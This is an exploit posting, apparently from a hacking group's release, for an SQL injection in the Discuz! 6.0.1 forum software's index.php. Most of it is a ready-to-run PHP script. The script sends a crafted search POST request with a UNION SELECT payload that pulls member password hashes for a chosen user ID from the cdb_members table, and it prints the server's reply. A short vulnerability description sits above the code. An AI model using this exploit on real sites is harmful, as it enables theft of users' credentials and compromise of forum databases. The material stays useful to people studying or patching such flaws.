///////////////////////////////|VIVA ISLAM|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
//sql injection found on comsez Discuz V 6.0.1
//vul~ "index.php"
//Discussion :
Discuz! is prone to an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input before using it an SQL-query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
//NB: the attacker can use a browser to inject
//Exploit :
<?php
error_reporting(E_ALL&E_NOTICE);
print_r("
");
if($argc>4)
{
$host=$argv[1];
$port=$argv[2];
$path=$argv[3];
$uid=$argv[4];
}else{
echo "Usage: php ".$argv[0]." host port path uid\n";
echo "host: target server \n";
echo "port: the web port, usually 80\n";
echo "path: path to discuz\n";
echo "uid : user ID you wanna get\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost 80 1\n";
exit;
}
$content ="action=search&searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=".$uid."/*&do=submit";
$data = "POST /".$path."/index.php"." HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: wap\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "Content-length: ".strlen($content)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $content."\r\n\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo 'No response from '.$host;
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
echo fgets($ock, 1024);
}
?>
//Greetz : To all my friends ; All Algerian HAcKerz & M-A-H T3am :>
//////////////////////////////|M-A-H T3am|\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
